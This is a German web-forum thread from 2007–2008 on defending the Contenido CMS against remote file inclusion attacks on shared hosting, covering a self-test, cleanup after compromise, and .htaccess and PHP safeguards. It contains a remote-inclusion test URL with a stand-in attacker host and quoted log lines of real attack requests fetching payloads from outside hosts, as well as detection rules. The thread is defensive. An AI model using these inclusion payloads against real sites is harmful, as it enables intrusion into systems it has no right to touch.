Contenido gegen URL-Injection im Shared Hosting schützen

Fragen zur Installation von CONTENIDO 4.9? Probleme bei der Konfiguration? Hinweise oder Fragen zur Entwicklung des Systemes oder zur Sicherheit?
woldini
Beiträge: 12
Registriert: Mo 19. Nov 2007, 16:41
Kontaktdaten:

Contenido gegen URL-Injection im Shared Hosting schützen

Beitrag von woldini » Mi 21. Nov 2007, 19:38

Dieser Beitrag richtet sich an alle, die Contenido im Shared Hosting bei einem Provider betreiben und somit wenig Einfluß auf die Serverkonfiguration nehmen können sowie an jene, die aus welchen Gründen auch immer ein aktuelles Sicherhgeitsproblem haben. Jenen, die Contenido auf einem eigenen Server hosten, sei dieser Thread von Sundriver empfohlen: http://contenido.org/forum/viewtopic.php?t=18784

Hinweis: In diesem Beitrag erhebe ich keinen Anspruch auf Vollständigkeit. Es kann auch sein, dass mir Fehler unterlaufen sind. Sollte dies so sein, so bitte ich euch um entsprechende Hinweise. Ich werde, damit wir alles zusammen haben, die Korrekturen mit Hinweis auf den Korrektor und seinen Beitrag an entsprechender Stelle einarbeiten.

Nun zum Thema:
Die leider oft erfolgreichen Angriffe auf Contenido finden meist statt auf die Versionen 4.4.x oder Versionen, die einen 4.4-Kern haben und auf 4.6. bis Version 15 upgedatet wurden. Der Grund ist eine spezifische Sicherheitslücke in Contenido. Sie betrifft die PHP-Direktive "register_globals". In Contenido ist diese auf "on" gesetzt, sonst funktioniert das CMS nicht. Leider kann auf diesem Weg mit einer GET-Anfrage über die Adresszeile im Browser auch Schad-Code übermittelt werden, mit dem globale Variablen im System überschrieben werden können um so den Hackern freie Bahn zu gewähren (wie das geht, steht etwas weiter unten). Diese Sicherheitslücke muss sich wohl vor nicht allzu langer Zeit in der Hackerszene herumgesprochen haben, denn seitdem wir (mein Geschäftspartner und ich) die Contenido-Installationen unserer Kunden dicht gemacht haben und Angriffe protokollieren (siehe unten) stellen wir fest, dass etwa 5 - 20 Angriffe pro Tag stattfinden, - Tendenz leicht steigend. Deshalb hier eine Gebrauchsanweisung mit ein paar Sicherheitstipps und folgenden Themen:
  • 1. Was ist eine URL-Injection und wie findet diese statt?
    2. Was kann ich tun, wenn meine Website per URL-Injection gehackt wurde?
    3. Contenido gegen URL-Injection schützen
zu 1. URL-Injection:

In Wikipedia wird URL-Injection unter "Remote File Inclusion" beschrieben - siehe: http://de.wikipedia.org/wiki/Remote_File_Inclusion. Hierbei wird (Zitat Wikipedia) "eine Sicherheitslücke in PHP-basierten Webanwendungen, die es einem Angreifer ermöglicht, unkontrolliert Programmcode auf dem Webserver auszuführen" ausgenützt. - Hierzu ergänzt Forennutzer wosch (siehe sein Beitrag weiter unten): "Ausführen hört sich so zahm an ... außerdem muß das Programm/Code ja erstmal auf dem Server gespeichert sein. Üblicherweise wird bei einem Angriff erstmal eine php-Shell gespeichert, und ist die drauf kann einfach weiterer Programmcode über eine upload-Funktion nachgeladen werden, sowie vorhadene Files editiert und beleibig geändert werden." Die Angreifer wollen auf diesem Weg möglichst schnell die Kontrolle über euer System kriegen, um es so für ihre eigenen, oft auch kriminellen Zwecke zu missbrauchen.

In Contenido könnt ihr einen Angriff einfach simulieren, indem ihr eure Website mal selbst "hackt". Dazu gebt ihr in die Adresszeile eures Browsers z.B. folgendes Beispiel ein:

Code: Alles auswählen

http://www.zu-testende-adresse.de/front_content.php?cfg[path][includes]=http://www.angreifersite.de/datei.txt?
Anmerkung: mit "www.zu-testende-adresse.de" ist die Adresse der Website gemeint, die getestet werden soll, mit "www.angreifersite.de" eine sichere Website - z.B. eine weitere Website, die ihr betreut oder eine Subdomain auf eurem Account. Die Datei "datei.txt" soll eine konkrete, vorhandene Datei sein, die in die zu testende Adresse geladen werden soll. Hier könnt ihr z.B. eine kurze Textdatei, Bilddatei, etc. angeben. Wichtig ist hierbei das Fragezeichen am Ende der Zeile.

Wenn ihr in der zu testenden Website die Datei seht, die ihr per "?cfg[path][includes]=" eingebunden habt, dann ist die Website nicht sicher!


2. Was kann ich tun, wenn meine Website per URL-Injection gehackt wurde?

Wenn ihr gehackt wurdet, teilt ihr die Kontrolle über euer System mit jemandem, mit dem ihr nichts zu tun haben, geschweige denn "teilen" wollt. Ihr müsst also die vollständige Kontrolle zurück erlangen. Dies ist leider unangenehm, unpassend und aufwändig, da arbeits- und zeitintensiv. Und so richtig honoriert euch niemand eure Mühen, denn euer Kunde wird von der schlechten Nachricht nicht begeistert sein ( - auch der Provider nicht, falls er es mitkriegt). Dennoch, auch wenn es weh tun könnte:
Informiert euren Kunden so früh wie möglich darüber, dass seine Site gehackt wurde und sagt ihm was ihr als nächstes tun werdet! Nur so könnt ihr das Vertrauen eures Kunden in euch stärken oder aufrecht erhalten. Die nachfolgenden Maßnahmen erfordern, dass das System eures Kunden für einige Zeit gar nicht oder nur eingeschränkt betriebsbereit ist. Dafür muss er Verständnis haben und dies mittragen.

Sobald Ihr also mitkriegt, dass die Site gehackt wurde, bleibt ruhig, keine Panik. Es gilt:
  • a.) alle Inhalte auf dem Server inclusive Schaddateien und Protokolle (als Beweismaterial) sowie die Datenbank zu sichern,
    b.) zu überprüfen, was passiert ist,
    c.) den ursprünglichen Zustand vor dem Angriff wieder herzustellen und
    d.) zu vermeiden, dass die Site erneut gehackt wird.
zu a.) alle Inhalte sichern:
Um den Schaden festzustellen und auch weil ihr die Inhalte auf dem Server für die weiteren Schritte benötigt, solltet ihr den gesamten Server sichern und eine Datenbanksicherung (Datenbank-Export) vornehmen. Die Inhalte des Web-Account könnt ihr z.B. per FTP in ein (sicheres) Verzeichnis auf euren Rechner laden. Achtung: Hier können auch fiese Viren unter den Dateien sein! Macht das nur, nachdem ihr euren Virenscanner auf den neuesten Stand gebracht habt. Wenn sich der Virenscanner meldet, dann löscht den Virus nicht, sondern verschiebt ihn in das Quarantäneverzeichnis des Virenscanners, denn er kann evtl. als Beweismaterial noch eine Rolle spielen.

zu b.) Schaden überprüfen:
Schaddateien sind all jene Dateien, die nicht zu Contenido gehören und nicht nachträglich von euch aufgespielt wurden. Ihr erkennt sie an einem neueren Änderungsdatum, einer veränderten Dateigröße oder beidem. Dies können z.B. *.txt-Dateien sein, eine httpd, errors.php,... Sie finden sich oft in den Verzeichnissen ../contenido/logs, ../contenido/cronjobs, ../contenido/external/frontend. Es macht Sinn, wenn ihr euch die Schaddateien, die ihr findet, näher anschaut (mit Vorsicht, da evtl. Viren), um - falls möglich, - nachzuvollziehen, was der Hacker gemacht oder bezweckt hat, - auch für den Fall, dass ihr oder euer Kunde überlegt, Strafanzeige zu stellen. Auch ein Blick in die Sicherungsdatei der Datenbank lohnt an dieser Stelle, sofern ihr euch damit auskennt. Die Log-Dateien spielen ebenfalls eine wichtige Rolle. Hier könnt ihr feststellen, wann in etwa und wie der Angriff erfolgte. Am besten in den Server-Logs nach der Zeile "cfg[path]" suchen. Wenn ihr regelmäßige Backups gefahren habt, dann könnt ihr davon ausgehen, dass alle Backups ab diesem Datum ebenfalls schadhaft sind.
Eine detaillierte Überprüfung aller vom Server heruntergeladenen Dateien lohnt zu diesem Zeitpunkt nicht. Konzentriert euch bei der überprüfung auf die von euch nachträglich aufgespielten Dateien, wie Bilder, Downloads (-> upload-Verzeichnis) oder Scripte, die ihr hochgeladen habt, denn ihr werdet im nächsten Schritt Contenido bzw. den Server "plattmachen" müssen.
Nachdem ihr euch einen Überblick verschafft habt, solltet ihr den ganzen heruntergeladenen Stand in ein Extra-Verzeichnis als Beweismaterial sichern, am besten gezippt, dann können mögliche Viren nicht so einfach ausgeführt werden und bei euch einen Schaden anrichten.

zu c.) ursprünglichen Zustand wieder herstellen:
Euer System wurde kompromittiert! Ein kompromittiertes System MUSS vollständig entfernt und neu aufgesetzt werden. Dies ist aufwändig, aber nötig. Versucht also nicht, jene Schaddateien, die ihr gefunden habt einfach vom Server zu löschen, denn:
  • 1.) kann es sein, dass ihr etwas übersehen habt,
    2.) ist ein ausführliches Überprüfen aller Dateien weit aufwändiger und dauert länger, als das Löschen und neu Aufsetzen des Systems (und ihr könnt nie ganz sicher sein, dass ihr nicht doch was übersehen habt - siehe 1.)
    3.) haben Hacker oft noch einen Trick auf Lager, an den ihr nicht gedacht habt,
sonst habt ihr im schlimmsten Fall nach einer Woche wieder das gleiche Problem!

Nachdem ihr nun vom Server alles gelöscht habt, stellt ihr das System wieder her. Auf die genaue Vorgehensweise bei einer Neuinstallation und worauf ihr achten müsst, wenn ihr eure eigenen Dateien wieder zurückspielt möchte ich an dieser Stelle nicht näher eingehen (sprengt den Rahmen). Hierzu gibt es aber einiges an Hilfestellung in diesem Forum. Grundsätzlich aber soviel: Ihr installiert Contenido in jener Version neu, die vorher auf dem Server vorhanden war. Achtet bitte darauf, dass ihr eine saubere Version habt, die von den offiziellen Downloadstellen stammt. Dies kann die Hauptversion 4.4 mit gepatchten Sicherheitslücken sein oder wenn ihr eine 4.6.x-Version hattet, sind dies die Versionen 4.6.8.5 oder 4.6.15. Anschließend importiert ihr die vorher exportierte Datenbank wieder zurück, denn ihr wollt ja die Inhalte der Website auch wieder haben. Macht dies aber erst nachdem ihr sicher gestellt habt, dass eure Datenbank nicht vom Angriff betroffen war. Und schließlich spielt ihr noch die eigenen (sauberen) Dateien auf den Server.

zu d.) erneutes Hacken vermeiden:
Wenn der Web-Account wieder sauber ist, beginnt ihr mit den Sicherheitvorkehrungen. Dies sind zum einen allgemeine Vorkehrungen, die euer Provider für euch machen kann (wenn er es kann...) zum anderen sind dies Maßnahmen, die ihr treffen solltet; - wie und welche, steht im Anschluß.


3. Contenido gegen URL-Injection schützen

Wenn ihr glaubt, noch nicht gehackt worden zu sein, solltet ihr dies überprüfen, wie unter 2. geschildert. Erst wenn ihr sicher seid, dass euer Webspace sauber ist, solltet ihr mit den Schutzmaßnahmen beginnen. Dies sind:
a.) allgemeine Maßnahmen und
b.) Dinge die ihr tun könnt.

zu a):
Als erste Maßnahme bittet euren Provider in der VirtualHost-Konfiguration eurer Domain die PHP-Direktive: php_admin_value allow_url_fopen auf "off" zu setzen. Wenn er das machen kann, dann sind die nachfolgenden Schritte unter b.) in gewissem Umfang Fleißarbeit.
Meist weigern sich die Provider aber, die Direktive allow_url_fopen auf "off" zu setzen, mit der Begründung, sie wüssten nicht, was dann bei den anderen Kunden im Shared Hosting passiert. Hier müsst ihr selbst ran.

zu b.) Contenido selbst schützen:
Hierzu gibt es 3 Möglichkeiten:
  • 1. Ihr fahrt ein Update auf eine neuere Version (4.6.) inkl. ModRewrite - Bundle,
    2. Ihr seid gute Entwickler und schreibt ein PHP-Script, das fremde URLs nicht zuläßt und baut es in Contenido an die entsprechenden Stellen ein.
    3. Ihr schützt den Webspace und Contenido mit Hilfe von .htaccess-Datei(en).
zu 1. Update auf eine neuere oder die neueste Version inkl. ModRewrite - Bundle:
Ein Update auf eine neuere Version kann viele Probleme lösen. Nachteil hierbei: Es ist mit einigem Aufwand verbunden, eure Version upzudaten, zu testen und anzupassen und ihr müsst eure Kunden neu in Contenido schulen. Außerdem besteht das Risiko, dass Verzeichnisse und/oder Dateien aus der alten Version übrigbleiben, die trotzdem nicht ganz sicher sind (Kandidat hierfür die Datei news.php unter ../contenido/external/frontend). Dass eure Kunden von dieser Idee nicht immer begeistert sein werden, liegt auf der Hand: Wer bezahlt das Ganze? Mit welchen Ausfällen ist zu rechnen?

Wenn ihr euch für ein Update auf eine 4.6.15-er Version entschließt, dann nehmt auf jeden Fall das ModRewrite - Contenido Bundle mit, das Forenmitglied stese auf seiner Website zum Download >> anbietet. Dieses Bundle nutzt die Rewrite-Engine des Server und erzeugt suchmaschinenfreundliche URLs. Dadurch bringt es schon automatisch ein großes Stück Sicherheit gegen URL-Injection mit: Eine manuell eingegebene URL, wie unter 1. beschrieben, wird von diesem Contenido nicht erkannt. Die Site kann nicht mehr so einfach gehackt werden!
Eine ModRewrite-Lösung für die Version 4.6.23 gibt es ebenfalls seit neuestem - siehe diesen Thread >> , allerdings konnte ich beim Überfliegen nicht feststellen, ob sie inzwischen auch bei Upgrades erfolgreich funktioniert. Am besten testen und ggf. Feedback im Thread posten.

zu 2. ein eigenes PHP-Script, das fremde URLs nicht zuläßt:
Je nachdem, wie tief ihr in die Materie einstegt, kann dies aufwändig sein. Es verändert Contenido, so dass spätere Updates nicht so einfach möglich sind und der Anpassungsaufwand hoch ist. Bei umfangreichen Änderungen braucht ihr hierfür eine geeignete Testumgebung, denn am laufenden System so etwas zu machen, ist nicht wünschenswert. Weiterhin bleibt auch hier die Frage offen: Wer bezahlt den Aufwand? Zum Glück gibt es aber auch eine relativ einfache Lösung:
Sie steht in diesem Thread: http://www.contenido.org/forum/viewtopic.php?t=10672 im Beitrag von goach (2. Seite oben) und betrifft Contenido 4.4.(5 - und weitere). Auch in 4.6.4 (ggf. auch weitere) funktioniert sie - siehe: http://contenido.org/forum/viewtopic.php?p=66712#66712 (- ebenfalls goach).
Habe die Lücken (hoffentlich) manuell in 4.4.5 geschlossen und in die Files:

contenido/classes/class.inuse.php
contenido/classes/class.htmlelements.php
conlib/local.php
contenido/external/frontend/news.php
contenido/includes/include.con_subnav.php (auch in 4.6.4!)
contenido/includes/include.grouprights_subnav.php (auch in 4.6.4)
contenido/includes/include.logs.php
contenido/includes/include.newsletter_edit.php
contenido/includes/include.recipients_edit.php
contenido/includes/include.right_top_blank.php (auch in 4.6.4)
contenido/includes/include.rights_subnav.php (auch in 4.6.4)
contenido/includes/include.subnav.php (auch in 4.6.4)
contenido/includes/include.tpl_subnav.php (auch in 4.6.4)
contenido/includes/pseudo-cron.inc.php (indirekt über crontab.txt?, auch in 4.6.4)

mit dem einfachen Eintrag in den jeweils ersten Zeilen:

Code: Alles auswählen

if ( $_REQUEST['cfg'] ) { exit; }   // workaround remote hacking exploit 
zu 3. Webspace und Contenido mit Hilfe von .htaccess-Datei(en) schützen:

Mein Geschäftspartner hat eine Kombination aus .htaccess-Datei und PHP-Datei entwickelt, die den Webspace schützt und die Angriffe protokolliert. Die .htaccess-Datei soll in dem Verzeichnis stehen, wo sich Eure front_content.php befindet, z.B. ../cms/front_content.php. Sie wurde vom Forenmitglied smac (Danke an dieser Stelle) angepasst (siehe Thread: http://www.contenido.org/forum/viewtopi ... m&start=45) und sieht so aus:

Code: Alles auswählen

<IfModule mod_rewrite.c> 
RewriteEngine on 

# achtung bitte basisverzeichnis anpassen! 
RewriteBase /cms/ 

  # detect url injection in query string 
  RewriteCond %{REQUEST_URI} !^attackmsg.php.* [NC] 
  RewriteCond %{QUERY_STRING} ^.*ftp://.*$  [NC,OR] 
  RewriteCond %{QUERY_STRING} ^.*http[s]*://.*$ [NC] 
  RewriteRule ^(.*)$ attackmsg.php?attack_request=/$1 [L,NS,QSA] 

#Anweisungen für das URL-Rewriting von stese 
</IfModule> 
Unter "RewriteBase" steht das Verzeichnis in dem die front_content.php liegt (siehe smacs Beitrag)

Evtl. müsst ihr im Script bestimmte URLs ausschließen. Hirzu wieder smac:

Code: Alles auswählen

# ausnahmen für verzeichnisse der mod_rewrite regel: 
# verzeichnisse ausschließen 
RewriteRule ^verzeichnis1/.*$ - [L] 
"verzeichnis1" ist jenes Verzeichnis, das von der Rewrite-Funktion ausgeschlossen werden soll, also z.B. ein Verzeichnis namens "popup". In diesem Fall tragt ihr einfach popup an die Stelle von verzeichnis1 ein.

Die .htaccess-Datei nutzt die Rewrite-Engine des Apache und reagiert, wenn in der URL-Zeile im Browser irgendwelche externen Webadressen (HTTPs oder FTPs) stehen. Wenn ja, dann macht es dicht und ruft eine PHP-Datei namens "attackmsg.php" auf, die den Angriff registriert und in eine Log-Datei schreibt, um ihn zu protokollieren. Die PHP-Datei müsst ihr erstellen und in das gleiche Verzeichnis, wie die .htaccess-Datei aufspielen. Sie hat folgende Code-Zeilen:

Code: Alles auswählen

<?
/************************************************************
* author      :   Thomas Hörnke, h3:: PartG
* copyright   :   h3:: hagemann henning hörnke PartG, Thomas Hörnke 
* created     :   29.10.2007 
************************************************************/
 
/* hier bitte den konkreten Serverpfad für das Contenido Log-Verzeichnis eintragen */
$log = 'verzeichnis/unterverzeichnis/logs/_attack.log'; 
$ip = $_SERVER['REMOTE_ADDR']; 
$msg = "Possible url injection attack from IP $ip:\n" 
   . preg_replace('/&/', '?', $_SERVER['QUERY_STRING'], 1)."\n"; 
error_log(date('[Y-m-d H:i:s] ').$msg, 3, $log); 
?> 
<?= $ip ?> - your attack has been logged and will be prosecuted.<br> 
Make my day ...
In die Variable "$log" müsst ihr den Pfad eintragen, in dem die Datei _attack.log erstellt und mögliche Angriffe geloggt werden sollen, also z.B. cms/contenido/logs/_attack.log. Den Text "- your attack has been logged..." könnt ihr natürlich durch eine eigene Ansage an die "Bösen" ersetzen.

Ob das Ganze gleich funktioniert, könnt ihr wie oben unter 1. beschrieben austesten. Wenn ja, dann könnte eure Log-Datei wie folgt aussehen:

[2007-10-31 01:46:34] Possible url injection attack from IP 71.105.211.83:
attack_request=/index.php?idcat=http://cherrygirl.h18.ru/images/cs.txt?

[2007-10-31 04:02:11] Possible url injection attack from IP 71.96.235.120:
attack_request=/index.php?idcat=http://amyru.h18.ru/images/cs.txt?

(Dies ist ein kurzer Auszug aus den von uns geloggten Angriffen.)

Achtung: Diese Vorgehensweise per .htaccess-Datei und PHP-Datei klappt nur, wenn das Rewriting des Servers einwandfrei auch im Zusammenspiel mit der PHP-Engine funktioniert, denn darauf fußt das Ganze!
Leider haben wir beim Provider Hosteurope die unangenehme Erfahrung gemacht, dass im Zusammenspiel von Rewriting des Servers mit PHP 4 durch die vorherrschende Konfiguration ein Fehler auftrat. Der Aufruf einer Folgeseite im Browser nach dem Aufruf der Startseite zeigte plötzlich in Mozilla den PHP-Code der Folgeseite an. In solchen Fällen solltet ihr, wie oben unter 2. "ein eigenes PHP-Script..." beschrieben, das Code-Schnipsel in die entsprechenden Dateien einbauen (s.o.).

Ergänzenden Schutz bietet es, wenn ihr noch eine .htaccess-Datei erstellt mit dem Inhalt:

Code: Alles auswählen

deny from all
Diese Datei verweigert alle externen Zugriffe. Damit können aber nur Verzeichnisse geschützt werden, die nicht aus Contenido oder von der Website aufgerufen werden. Wir haben bei unseren Instalationen in folgende Contenido-Verzeichnisse diese .htaccess-Datei per FTP aufgespielt:
  • - contenido/cronjobs
    - contenido/external/frontend
    - contenido/locale
    - contenido/logs
    - contenido/plugins
    - contenido/usage (nur Version 4.6.15)
    - contenido/xml
Kleiner Tipp: Um die .htaccess-Dateien in WS-FTP zu sehen, gebt in das kleine Feld auf der rechten Seite unter "MkDir" einfach -a ein und drückt die Enter-Taste.

So, und nun viel Erfolg!
Zuletzt geändert von woldini am Mo 21. Jan 2008, 14:15, insgesamt 13-mal geändert.

wosch

Beitrag von wosch » Mi 21. Nov 2007, 20:39

@woldini,
ein guter Beitrag.
Nur enthält er, zumindest meines Kenntnisstandes, einige Fehler.
Wie hast du dir das weitere vorgestellt?
Sollen Korrekturen in Folgepost kommen und du korrigierst das Eingangspoting?
Ich möchte den Beitrag nicht mit Posting stören die nacher keiner mehr liest aber wichtig sind oder sein können.

woldini
Beiträge: 12
Registriert: Mo 19. Nov 2007, 16:41
Kontaktdaten:

Beitrag von woldini » Do 22. Nov 2007, 13:13

@wosch und weitere aufmerksame Leser

Über Anregungen, Kritik und Verbesserungsvorschläge bin ich dankbar. Vor allem möchte ich Fehler, die mir aus Unkenntnis oder Flüchtigkeit unterlaufen sind, gerne korrigieren. Am besten im Eingangsposting, dann haben evtl. betroffene Nutzer alles zusammen. Du hast schon recht, Folgepostings, die Fehler korrigieren werden möglicherweise nicht mehr gelesen.

Ich hatte ja, als ein Kunde von uns vor ca. einem Monat gehackt wurde, selbst das Problem, das richtige Vorgehen zu finden. Ich hatte damals auch im Forum recherchiert, aber auf die Schnelle nicht gleich einen Beitrag gefunden, der als Hilfestellung Anregungen und Tipps bereithält, wie wir (mein Geschäftspartner und ich) am besten vorgehen. Daher habe ich diesen Beitrag geschrieben, in dem ich unsere Erfahrungen, die wir bei der Lösung unseres Problems gemacht haben, einfließen ließ. Ich denke daher, dass dieses umfangreiche und komplexe Thema auf jeden Fall fehlerfrei sein und alles zusammen abgehandelt werden sollte.

Mein Vorschlag ist:
Ihr postet Korrekturen in Folgepostings und ich übernehme diese und baue sie in das Startposting ein mit Verweis auf die Autorenschaft und das Folgeposting. So haben wir alles zusammen: Ein korrigiertes Startposting und die Korrekturen zum genau nachlesen. So ein Forenthread ist ja eine lebendige Sache. Und je mehr konstruktive Beiträge kommen, umso mehr können die Leser profitieren.

In diesem Sinne: Korrekturen sind willkommen und Dank im Voraus an die Korrektoren

wosch

Beitrag von wosch » Do 22. Nov 2007, 16:12

@woldini,
ich fange mal häppchenweise an. :wink:
zu 1. URL-Injection:
... die es einem Angreifer ermöglicht, unkontrolliert Programmcode auf dem Webserver auszuführen" ...
Ausführen hört sich so zahm an ... außerdem muß das Programm/Code ja erstmal auf dem Server gespeichert sein.
Üblicherweise wird bei einem Angriff erstmal eine php-Shell gespeichert, und ist die drauf kann einfach weiterer Programmcode über eine upload-Funktion nachgeladen werden, sowie vorhadene Files editiert und beleibig geändert werden.

b.) die Schaddateien und Protokolle als Beweismaterial zu sichern,
Das ist gleichzeitig die Grundlage für das zurückspielen der eigenen Daten, hier sollte vielleicht das Wort Backup oder Datensicherung mitrein
Die Schaddateien sind Dateien, die ihr bei der Contenido-Installation nicht auf den Server gespielt habt oder Dateien mit neuerem Änderungsdatum.

Schaddateien sind prinzipiell alle Dateien die nicht zu Contenido gehören und die nicht vom User selber hochgeladen worden.
Weiterhin alle Dateien die vom Hacker geändert worden sind.
Anschließend vergleicht ihr die herunter geladenen Dateien und Verzeichnisse mit eurer Original-Installation von Contenido oder mit dem letzten sauberen Stand auf dem Server, falls ihr regelmäßige Sicherungen anlegt.
Das ist nach meiner Ansicht nicht sinnvoll.
Besser und richtiger wäre es diese Dateien zu ignorieren und sich auf das was im Verzeichnis upload/_und_folgende befindet zu konzentrieren.
Ebenso auf Dateien die er selber erstellt oder hochgeladen hat.
Contenido sollte später mit einer sauberen Installation (Version wie vorher auf dem Server vorhanden), von den offiziellen Downloadstellen geholt, wieder neu aufgespielt werden.
Das dürfte um einiges sicherer sein und schneller gehen als zu Vergleichen, wobei man zum Vergleich ja eh eine saubere Contendio-Version haben muß.
Der Rest des Textes muß ggf. dann angepaßt werden.
Was zu einem Backup noch gehört ist ein Dump der Datenbank.
Der sollte in dem Zusammenhang auch erfolgen (und erwähnt werden)

zu c.) ursprünglichen Zustand wieder herstellen:
Je nachdem, wie stark euer Account betroffen ist und wie eindeutig die Schaddateien zu identifizieren waren, könnt ihr diese nun vom Server löschen. Auf Nummer Sicher geht ihr, wenn ihr alle Dateien auf dem Server löscht und den letzten sicheren Backup-Stand oder die Originaldateien eurer Contenido-Installation und die später hinzugekommenen Dateien aufspielt.
Ein kompromitiertes Sytem muß komplett gelöscht werden.
Deswegen auch die vorgehensweise wie oben beschrieben.
Die Neuinstallation, nach dem Löschen, mit der ursprünglichen Installationsversion vornehmmen.
Dazu sollten aber die Hauptversion 4.4 zum Download, mit gepatchten (bekannten) Sicherheitslücken zum Download bereitstehen.
Bei der 4.6.x wäre das die Version 4.6.8.5 bzw. 4.6.15


Später noch etwas zur Vorgehensweise einer Neuinstallation und auf was man achten muß wenn man seine eigenen Dateien wieder zurücklädt.
Ihr fahrt ein Update auf die neueste Version (4.6.23),
Auch wenn das einige nicht gerne hören, von einer 4.4 würde ich nicht (oder zumindest nicht direkt) auf eine 4.6.23 updaten.
Hier würde ich lieber auf 4.6.8.5 oder 4.6.15 updaten.
Dazu könnten aber die Experten oder Entwickler mehr und besser was zu sagen.

So, das reicht mal zum Anfang. :lol:

woldini
Beiträge: 12
Registriert: Mo 19. Nov 2007, 16:41
Kontaktdaten:

Beitrag von woldini » Do 22. Nov 2007, 23:01

@ wosch

Danke für Deine guten (und vielen) Anmerkungen und Anregung. Ich werde sie aufnehmen und das Kapitel 2 nochmals überarbeiten. Du hast Recht: Ein komporomittiertes System ist ein kompromittiertes System, da hilft auch kein rumlavieren oder "Vor-Der-Arbeit-Drücken". Es gehört mir nicht mehr, wenn ich gehackt wurde. Ich kann es nur noch zurückerobern...

wosch

Beitrag von wosch » Fr 7. Dez 2007, 22:24

Es sind 14 Tage vergangen ...
Nichts ist auf einen Stand der als "richtig" oder "so soll es sein" zu bezeichnen ist.

@holger.librenz_4fb,
weißt du nun warum ich der Meinung bin das du, ein Admin oder ein Mod solch ein Thema eröffenen sollte?
Weißt du nun was ich meinte das zu Sicherheit (und auch zur Weiterentwicklung) ein Konzept gehört?

Weißt du nun warum ich von Leuten (gemeint ist NICHT @woldini !!! / oder du) die hier sicherheits- und publikumswirksam in die Sauce schlagen, Wellen produzieren, große Töne spucken, wirkungsvolle Thread-Titelschlagzeilen produzieren, und dann abtauchen, nichts halte ???

Spruchweisheit 1:
Wie heißt es?
Laß mich arbeiten oder laß mir arbeiten?
Antwort: Laß andere Arbeiten

Spruchweisheit 2:
Management by Helicopter
Einschweben, viel Staub aufwirbeln, abheben, untertauchen.

Contenider
Beiträge: 503
Registriert: Do 6. Apr 2006, 01:40
Kontaktdaten:

Beitrag von Contenider » Di 25. Dez 2007, 18:02

Hallo Woldini

Ich habe eben mal versucht das Ganze einzubauen. Deine Pfadangaben sind wirklich sehr unpräzise, kannst Du das bitte noch einmal "Idiotensicher" beschreiben bzw. erklären?

Nachtrag:

Der Server ist von 1und1 und das Paket läuft im SharedWeb, ich habe alles exakt befolgt, bekomme aber immerzu nur folgendes

Code: Alles auswählen

Error 500 - Internal server error

Ein interner Fehler ist aufgetreten!
Bitte versuchen Sie es zu einem späteren Zeitpunkt.
Das ist die URL die ich eingegeben habe:

http://www.url.org/cms/front_content.ph ... robots.txt?
Ειμαστε στη μεση απο κατι...

woldini
Beiträge: 12
Registriert: Mo 19. Nov 2007, 16:41
Kontaktdaten:

Beitrag von woldini » Mi 9. Jan 2008, 14:46

Hallo Contenider

ich verstehe nicht ganz worauf sich Deine Frage bzw. Bitte in Bezug auf die Pfadangaben bezieht. Hast Du, wie die URL in Deinem Nachtrag zeigt, versucht eine URL-Injection zu simulieren. Also die untenstehende URL in die Kopfzeile Deines Browsers eingegeben? - Wenn ja, dann ist die Fehlermeldung (Error 500...) ja nicht das Allerschlechteste ;-). Ich schließe daraus, dass hier 1und1 schon etwas unternommen haben könnte um diese Sicherheitslücke nicht so einfach offen zu lassen. Dennoch empfehle ich Dir den Einbau der unter 3. beschriebenen .htaccess-Datei in Kombination mit der PHP-Datei - sicher ist sicher.

Oder bezieht sich Deine Frage auf die .htaccess-Datei, bzw. die notwendige Pfadangabe in der .htaccess-Datei damit das Rewriting einsetzt?

Contenider
Beiträge: 503
Registriert: Do 6. Apr 2006, 01:40
Kontaktdaten:

Beitrag von Contenider » Mi 9. Jan 2008, 15:15

woldini hat geschrieben:Oder bezieht sich Deine Frage auf die .htaccess-Datei, bzw. die notwendige Pfadangabe in der .htaccess-Datei damit das Rewriting einsetzt?
Richtig, das Ganze ist etwas verwirrend. Ich habe es seit dem letzten Versuch auch nicht weiter ausprobiert.
Ειμαστε στη μεση απο κατι...

woldini
Beiträge: 12
Registriert: Mo 19. Nov 2007, 16:41
Kontaktdaten:

Beitrag von woldini » Mi 9. Jan 2008, 20:35

Hallo Contenider,

auf diesem Weg eine Ferndiagnose zu stellen, ist natürlich schwierig. Ich nehme an, Du hast eine .htaccess-Datei erstellt, den Code wie oben angezeigt reinkopiert und die nötigen Pfade angepasst (also z.B. /cms/contenido/ wenn die front_content.php unter http://www.deinesite.org/cms/contenido liegt). Ebenso hast du die attackmsg.php erstellt. Anschließend hast Du das Ganze auf Deinen Server neben die front_content.php gelegt und den Fehler erhalten. Mir fallen hier nur 2 Möglichkeiten ein:
1. Sind die Pfadangaben und die Schreibweise richtig? - Bitte prüf dies nochmal.
2. Falls Du alles richtig gemacht hast, dann kann es trotzdem sein, dass die Rewrite-Engine im Zusammenspiel mit PHP auf Deinem 1und1-Server nicht richtig funktioniert. :-(
Ich hatte solch einen Fall bei Hosteurope. Dies wäre sehr schlecht, weil Du da nichts für die erhöhte Sicherheit tun kannst außer 1und1 unter Druck zu setzen, dass die das richten sollen (bei 1und1 nach allem was man hört eher schwierig...) oder schlimmstenfalls zu einem neuen Provider umzuziehen.

Contenider
Beiträge: 503
Registriert: Do 6. Apr 2006, 01:40
Kontaktdaten:

Beitrag von Contenider » Mi 9. Jan 2008, 23:52

woldini hat geschrieben:oder schlimmstenfalls zu einem neuen Provider umzuziehen
Alsbald der Vertrag ausgelaufen ist geht's ab zu 1Blu...
Ειμαστε στη μεση απο κατι...

Vince
Beiträge: 122
Registriert: So 6. Mär 2005, 12:53
Kontaktdaten:

Beitrag von Vince » Fr 21. Mär 2008, 14:32

Hi,

nur eine kurze Frage.

Unter 4.4.5 hab ich den Hack von Goach eingebaut, um URL-Intrusions zu verhindern (siehe: http://contenido.org/forum/viewtopic.php?p=66712#66712), klappt hervorragend 8)

Dann hab ich offline ein Update auf 4.6.15 gemacht und stricke die Website nun etwas um. Zwischendurch will ich jetzt mal auf 4.6.23 updaten.

Da der Hack in den Dateien nicht drin ist (warum eigentlich nicht?), wollte ich die jetzt eintragen, bevor das ganze online geht.

Spricht irgendwas dagegen, gibt es damit Probleme oder ist das evtl. nicht mehr notwendig?

greetz, Vince

Meykoenig
Beiträge: 11
Registriert: Do 21. Sep 2006, 08:54
Wohnort: Stuttgart
Kontaktdaten:

Leider auch Fehler in 4.6.23

Beitrag von Meykoenig » Mo 16. Jun 2008, 11:56

Leider gibt es auch in include.newsletter_jobs_subnav.php von Version 4.6.23 ein Problem mit einem Include.
